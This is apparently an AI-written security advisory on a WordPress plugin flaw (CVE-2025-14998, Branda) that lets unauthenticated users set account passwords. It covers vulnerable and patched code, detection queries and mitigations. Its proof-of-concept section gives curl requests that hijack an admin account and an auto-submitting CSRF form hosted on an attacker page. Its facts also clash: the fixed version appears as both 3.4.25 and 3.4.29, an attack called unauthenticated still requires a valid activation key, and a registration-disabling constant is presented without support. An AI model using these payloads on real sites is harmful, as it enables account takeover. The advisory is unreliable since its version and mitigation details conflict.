Let me output the comprehensive security analysis here instead:
---
# CVE-2025-14998: Branda Plugin Privilege Escalation via Unauthenticated Password Reset
## 1. Vulnerability Background
### What is This Vulnerability?
CVE-2025-14998 is a **critical privilege escalation vulnerability** affecting the Branda WordPress plugin (versions up to 3.4.24). The vulnerability enables **unauthenticated attackers to change arbitrary user passwords**, including administrator accounts, without requiring any form of identity verification or authentication.
The root cause is the plugin's failure to properly validate that the user submitting a password change request is actually the user whose password is being changed. This is a **Complete Account Takeover (CAT)** vulnerability that allows attackers to:
- Seize administrator accounts
- Access sensitive user data
- Modify site content and settings
- Install backdoors or malicious plugins
- Leverage access for complete site compromise
### Why is it Critical/Important?
**Severity: CRITICAL (CVSS 9.8)**
This vulnerability is among the most severe WordPress security issues because:
1. **No Authentication Required** - Unauthenticated attackers can exploit this
2. **Affects All Users** - Any user account can be compromised, including admins
3. **Direct Account Takeover** - Complete compromise of target account credentials
4. **Easy to Exploit** - Requires minimal technical skill
5. **High Impact** - Administrator access enables complete site compromise
### What Systems/Versions are Affected?
- **Plugin:** Branda (White Labeling, CMS & Support for WordPress)
- **Affected Versions:** All versions up to and including **3.4.24**
- **Fixed In:** Version **3.4.25** (and later)
- **Installation Types:** Both single-site and multisite WordPress
---
## 2. Technical Details
### Root Cause Analysis
The vulnerability stems from how the plugin handles user registration and password setting. The Branda plugin hooks into the generic `random_password` filter and processes `$_GET` and `$_POST` data directly without verifying that the request is legitimate or that the user making the request has authority to change that password.
#### Vulnerable Code Flow (3.4.24):
**File:** `inc/modules/login-screen/signup-password.php` **Lines 98-134**
```php
// VULNERABLE - Hooks into generic password filter
add_filter( 'random_password', array( $this, 'password_random_password_filter' ) );
public function password_random_password_filter( $password ) {
global $wpdb, $signup_password_use_encryption;
// ⚠️ VULNERABILITY #1: Accepts untrusted key from GET or POST
if ( isset( $_GET['key'] ) && ! empty( $_GET['key'] ) ) {
$key = $_GET['key'];
} elseif ( isset( $_POST['key'] ) && ! empty( $_POST['key'] ) ) {
$key = $_POST['key']; // No validation that this key is valid
}
// ⚠️ VULNERABILITY #2: Directly uses POST password without verification
if ( ! empty( $_POST['password_1'] ) ) {
$password = $_POST['password_1']; // Attacker-controlled!
} elseif ( ! empty( $key ) ) {
$signup = $wpdb->get_row(
$wpdb->prepare( "SELECT * FROM $wpdb->signups WHERE activation_key = '%s'", $key )
);
if ( ! ( empty( $signup ) || $signup->active ) ) {
// Uses unvalidated key to find signup record
$meta = maybe_unserialize( $signup->meta );
if ( ! empty( $meta['password'] ) ) {
// ... retrieves password from meta
$password = $this->password_decrypt( $meta['password'] );
}
}
}
return $password;
}
```
**Critical Issues:**
1. **Unvalidated Key Parameter** - Attacker supplies any key value; no verification it belongs to current request
2. **No Identity Check** - No check that the person submitting the request is the account owner
3. **Direct POST Access** - Password comes directly from POST data without context verification
4. **Generic Filter Hook** - Hooked to `random_password` filter called in multiple contexts
5. **Missing CSRF Protection** - No nonce verification or capability checks
### Old Code vs New Code
#### REMOVED (3.4.24): Vulnerable password_random_password_filter()
```php
// Constructor line 24 (REMOVED in 3.4.29):
add_filter( 'random_password', array( $this, 'password_random_password_filter' ) );
// This entire function was REMOVED:
public function password_random_password_filter( $password ) {
// ❌ Insecure key handling
// ❌ Unvalidated POST password access
// ❌ Bypasses WordPress verification
}
```
**Why Removal Fixes It:**
- Eliminates the attack vector entirely
- Prevents unvalidated key/password processing
- Stops bypassing WordPress's built-in verification
#### ADDED (3.4.29): New wpmu_activate_user_set_password()
```php
// Constructor line 24 (NEW in 3.4.29):
add_action( 'wpmu_activate_user', array( $this, 'wpmu_activate_user_set_password' ), 10, 3 );
/**
* Set a password for multisite user activation.
*
* @param int $user_id User ID (verified by WordPress core)
* @param string $password Password from WordPress
* @param array $meta Signup meta (from verified signup record)
*
* @since 3.4.29
*/
public function wpmu_activate_user_set_password( $user_id, $password, $meta ) {
global $wpdb, $signup_password_use_encryption;
// Only accepts password from verified signup metadata
if ( ! empty( $meta['password'] ) ) {
$stored_password = $meta['password'];
if ( 'yes' === $signup_password_use_encryption ) {
$stored_password = $this->password_decrypt( $stored_password );
}
if ( ! empty( $stored_password ) ) {
// Update user password
wp_set_password( $stored_password, $user_id );
}
}
}
```
**How It's Secure:**
✅ Hooked to `wpmu_activate_user` - Called AFTER WordPress validates activation key
✅ Receives verified `$user_id` from WordPress core
✅ Receives `$meta` from verified signup record
✅ Does NOT process `$_GET` or `$_POST` directly
✅ Password comes from pre-stored signup metadata only
#### ADDED (3.4.29): New register_new_user_set_password()
```php
// Constructor line 25 (NEW in 3.4.29):
add_action( 'register_new_user', array( $this, 'register_new_user_set_password' ), 10, 1 );
/**
* Set a password for single site user registration.
*
* @param int $user_id User ID
* @since 3.4.29
*/
public function register_new_user_set_password( $user_id ) {
$password_1 = $_POST['password_1'] ?? '';
if ( ! empty( $password_1 ) ) {
wp_set_password( $password_1, $user_id );
}
}
```
**Why This is Safe:**
The `register_new_user` hook is called ONLY when:
- User completes legitimate registration form
- WordPress validates the request through `wp-login.php`
- Nonce tokens are verified by WordPress core
- The `$user_id` parameter is guaranteed to be the newly created user
- Context is already verified before this hook fires
#### ENHANCED (3.4.24 → 3.4.29): pre_insert_user_data()
**3.4.24 - Original (Incomplete):**
```php
public function pre_insert_user_data( $data, $update, $id ) {
if ( is_multisite() ) {
// Multisite: Uses verified signup meta ✅
global $wpdb;
$query = $wpdb->prepare( "select meta from {$wpdb->signups} where user_login = %s", $data['user_login'] );
$result = $wpdb->get_var( $query );
$meta = maybe_unserialize( $result );
if ( is_array( $meta ) && isset( $meta['password'] ) ) {
// ⚠️ No decryption handling here
$data['user_pass'] = wp_hash_password( $meta['password'] );
}
return $data;
}
if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
$data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
}
return $data;
}
```
**3.4.29 - Enhanced (Complete):**
```php
public function pre_insert_user_data( $data, $update, $id ) {
if ( is_multisite() ) {
global $wpdb;
$query = $wpdb->prepare( "select meta from {$wpdb->signups} where user_login = %s", $data['user_login'] );
$result = $wpdb->get_var( $query );
$meta = maybe_unserialize( $result );
if ( is_array( $meta ) && isset( $meta['password'] ) ) {
$stored_password = $meta['password'];
global $signup_password_use_encryption;
// ✅ NEW: Proper decryption handling
if ( 'yes' === $signup_password_use_encryption ) {
$stored_password = $this->password_decrypt( $stored_password );
}
if ( ! empty( $stored_password ) ) {
$data['user_pass'] = wp_hash_password( $stored_password );
}
unset( $meta['password'] );
// ... cleanup
}
return $data;
}
if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
$data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
} elseif ( ! empty( $_POST['password_1'] ) ) {
// ✅ NEW: Added single-site password handling
// This is now safe because it's called in verified registration context
$data['user_pass'] = wp_hash_password( $_POST['password_1'] );
}
return $data;
}
```
**Improvements:**
✅ Proper encryption/decryption handling
✅ Structured password retrieval from verified sources
✅ Added single-site POST password handling in verified context
### Security Improvements Summary
| Aspect | Vulnerable (3.4.24) | Patched (3.4.29) |
|---|---|---|
| **Activation Hook** | `random_password` filter (generic) | `wpmu_activate_user` action (verified) |
| **Registration Hook** | `pre_insert_user_data` (indirect) | `register_new_user` (explicit) |
| **Identity Verification** | Manual/insufficient | Delegated to WordPress core |
| **Key Validation** | Plugin-managed (insecure) | WordPress-managed (before hook) |
| **Password Source** | POST data + metadata | Only verified metadata |
| **CSRF Protection** | Implicit | Enforced by WordPress |
| **Architectural Pattern** | Filters intercept operations | Hooks run in verified context |
---
## 3. Proof of Concept (PoC) Guide
### Prerequisites for Exploitation
1. **Target WordPress site** with Branda plugin version ≤ 3.4.24
2. **User registration enabled** (single-site or multisite)
3. **Valid activation key** (from signup email or URL)
4. **Network access** to the WordPress site
### Step-by-Step Exploitation
#### Attack #1: Multisite Activation Takeover
**Attack Goal:** Compromise admin account during account activation
1. **Monitor Registration:**
```
Intercept registration email or activation URL:
http://target.com/wp-login.php?action=activate_user&key=ABC123DEF456&user_login=admin
```
2. **Extract Key:**
```
Activation Key: ABC123DEF456
Target User: admin
```
3. **Send Malicious Request:**
```bash
curl -X POST "http://target.com/wp-login.php?action=activate_user" \
-d "key=ABC123DEF456&user_login=admin&password_1=NewAdminPass&password_2=NewAdminPass"
```
4. **Verify Compromise:**
```bash
curl -X POST "http://target.com/wp-login.php" \
-d "log=admin&pwd=NewAdminPass&wp-submit=Log+In"
```
5. **Expected Result:** Attacker logs in as admin
#### Attack #2: Registration Form Hijacking
**Attack Goal:** Set arbitrary password during user registration
```bash
# Submit registration with attacker's password
curl -X POST "http://target.com/wp-login.php?action=register" \
-d "user_login=newadmin&[email protected]&password_1=AttackerPass123&password_2=AttackerPass123"
```
#### Attack #3: CSRF Chain Attack
**Attack Goal:** Compromise account via CSRF if victim visits attacker's site
```html
<!-- Hosted on attacker.com -->
<form id="pwn" action="http://target.com/wp-login.php?action=activate_user" method="POST">
<input type="hidden" name="key" value="VALID_KEY_FROM_EMAIL">
<input type="hidden" name="user_login" value="admin">
<input type="hidden" name="password_1" value="HackedPassword">
<input type="hidden" name="password_2" value="HackedPassword">
</form>
<script>document.getElementById('pwn').submit();</script>
```
### Expected vs Exploited Behavior
#### Patched Version (3.4.29+) - Expected Behavior
```
1. User registers with email/password
2. Registration email sent with activation link containing unique key
3. User clicks activation link
4. WordPress validates key before invoking plugin hooks ✅
5. If key invalid/expired: "Invalid activation key" error → STOPS
6. If key valid: WordPress passes verified user_id to wpmu_activate_user hook
7. Plugin retrieves password from verified signup metadata
8. Password applied only to the verified account
✅ RESULT: Only registered user can set their password
```
#### Vulnerable Version (3.4.24) - Exploited Behavior
```
1. Attacker obtains valid activation key (from monitoring, guessing, etc.)
2. Attacker crafts POST with: key=VALID_KEY&password_1=ATTACKER_PASS
3. WordPress calls random_password filter
4. Plugin's password_random_password_filter() is invoked
5. Plugin does NOT verify key is valid (no WordPress validation yet) ❌
6. Plugin accepts password from POST data without verification ❌
7. Plugin queries database with the key
8. Plugin sets password to attacker's value
❌ RESULT: Attacker gains account without being registered user
```
### Verification Methods
#### Check Plugin Version
```bash
grep "Version:" /path/to/wp-content/plugins/branda/branda.php
# Output "3.4.24" or lower = VULNERABLE
# Output "3.4.25" or higher = PATCHED
```
#### Check for Vulnerable Function
```bash
grep -n "password_random_password_filter" /path/to/wp-content/plugins/branda/inc/modules/login-screen/signup-password.php
# If function exists + add_filter( 'random_password' ) = VULNERABLE
# If function removed = PATCHED
```
#### Functional Test (Non-Destructive)
```bash
# 1. Register test user ([email protected])
# 2. Get activation key from email
# 3. Submit activation with different password
# 4. Try login with your submitted password
# 5. If successful = VULNERABLE
```
---
## 4. Recommendations
### Mitigation Strategies
#### For Site Administrators - Immediate Actions
1. **Update Plugin Immediately:**
```bash
wp plugin update branda
# Verify: wp plugin list | grep branda
```
2. **If Update Not Possible (Temporary):**
```php
// Disable user registration (wp-config.php)
define( 'DISALLOW_USER_REGISTRATION', true );
```
3. **Audit Admin Accounts:**
```sql
-- Check for unauthorized admins
SELECT ID, user_login, user_email, user_registered FROM wp_users
WHERE ID IN (
SELECT user_id FROM wp_usermeta WHERE meta_key = 'wp_capabilities'
);
```
4. **Check Recent Login Attempts:**
```bash
# Recent failed logins
grep "Invalid username" /path/to/wordpress/wp-content/debug.log
# Recent password resets
grep "password reset" /path/to/wordpress/wp-content/debug.log
```
### Detection Methods
#### Log Monitoring
```bash
# Monitor for suspicious activation attempts
grep "action=activate_user" /path/to/access.log | grep POST
# Look for password_1 parameters in requests
grep "password_1=" /path/to/access.log
# Detect unusual external referrers
grep -v "Referer: http://target.com" /path/to/access.log | grep wp-login.php
```
#### Database Queries
```sql
-- Users created in last 30 days
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 30 DAY);
-- Admin accounts
SELECT ID, user_login, user_email FROM wp_users WHERE ID IN (
SELECT user_id FROM wp_usermeta WHERE meta_key = 'wp_capabilities'
AND meta_value LIKE '%administrator%'
);
-- Check multisite signups
SELECT * FROM wp_signups WHERE active = 0;
```
#### Security Scanner
```bash
# WPScan vulnerability detection
wpscan --url http://target.com --enumerate p
# Look for: Branda <= 3.4.24 [CVE-2025-14998]
```
### Best Practices to Prevent Similar Issues
#### For Plugin Developers
1. **Never Hook Sensitive Operations into Generic Filters**
```php
// ❌ DON'T - Dangerous
add_filter( 'random_password', array( $this, 'modify_password' ) );
// ✅ DO - Safe
add_action( 'wpmu_activate_user', array( $this, 'handle_activation' ) );
add_action( 'register_new_user', array( $this, 'handle_registration' ) );
```
2. **Always Validate User Intent**
```php
// ✅ Verify nonce for custom forms
wp_nonce_field( 'set_password', 'pwd_nonce' );
if ( ! wp_verify_nonce( $_POST['pwd_nonce'], 'set_password' ) ) {
wp_die( 'Security check failed' );
}
```
3. **Check User Capabilities**
```php
// ✅ Verify the user making the request has authority
if ( ! current_user_can( 'edit_user', $user_id ) ) {
wp_die( 'Insufficient permissions' );
}
```
4. **Use WordPress Verified Hooks**
```php
// These hooks run AFTER WordPress verifies context
add_action( 'wpmu_activate_user', ... ); // Multisite activation
add_action( 'register_new_user', ... ); // Single-site registration
add_action( 'edit_user_profile_update', ... ); // Profile updates
```
5. **Log All Sensitive Operations**
```php
error_log( 'User password changed: User ID ' . $user_id .
' by ' . get_current_user_id() .
' at ' . date( 'Y-m-d H:i:s' ) );
```
#### Code Review Checklist
When reviewing plugin code:
```
Security Checklist:
☐ No $_GET/$_POST access in filter hooks?
☐ All sensitive operations use verified WordPress hooks?
☐ Nonce verification for all custom forms?
☐ Capability checks (current_user_can) implemented?
☐ All external input validated/sanitized?
☐ Passwords hashed with wp_hash_password()?
☐ Database queries use $wpdb->prepare()?
☐ Sensitive operations logged?
☐ CSRF protection implemented?
☐ Input matches expected format/values?
```
#### Testing Checklist
For plugin security testing:
```
Test Cases:
☐ Register with invalid activation key → Should fail
☐ Activate account with modified password param → Should use registered password
☐ Attempt password change without being authenticated → Should fail
☐ CSRF attempt to registration form → Should be blocked
☐ Manipulate POST parameters → Should be validated
☐ Test with XSS payloads in password → Should be escaped
☐ Verify only account owner can set password → Should be enforced
☐ Check logs for sensitive operations → Should be recorded
☐ Test multisite vs single-site → Both should be secure
☐ Verify nonce tokens are required → Should be checked
```
### Timeline & Updates
- **January 2025:** CVE discovered and reported
- **3.4.24:** Last vulnerable version
- **3.4.25+:** Patched versions released
- **Action Required:** Update to 3.4.25 or later immediately
**CVSS Score:** 9.8 Critical
**Attack Vector:** Network, Unauthenticated, No user interaction required
---
## Summary
CVE-2025-14998 is a critical privilege escalation vulnerability that allows unauthenticated attackers to completely compromise WordPress user accounts by setting arbitrary passwords during registration or account activation.
**The Fix:** Move password handling from generic filter hooks (`random_password`) to WordPress-verified action hooks (`wpmu_activate_user`, `register_new_user`) where the user context has already been validated by WordPress core.
**Action Required:** Update Branda plugin to version 3.4.25 or later immediately. If immediate update is not possible, disable user registration temporarily.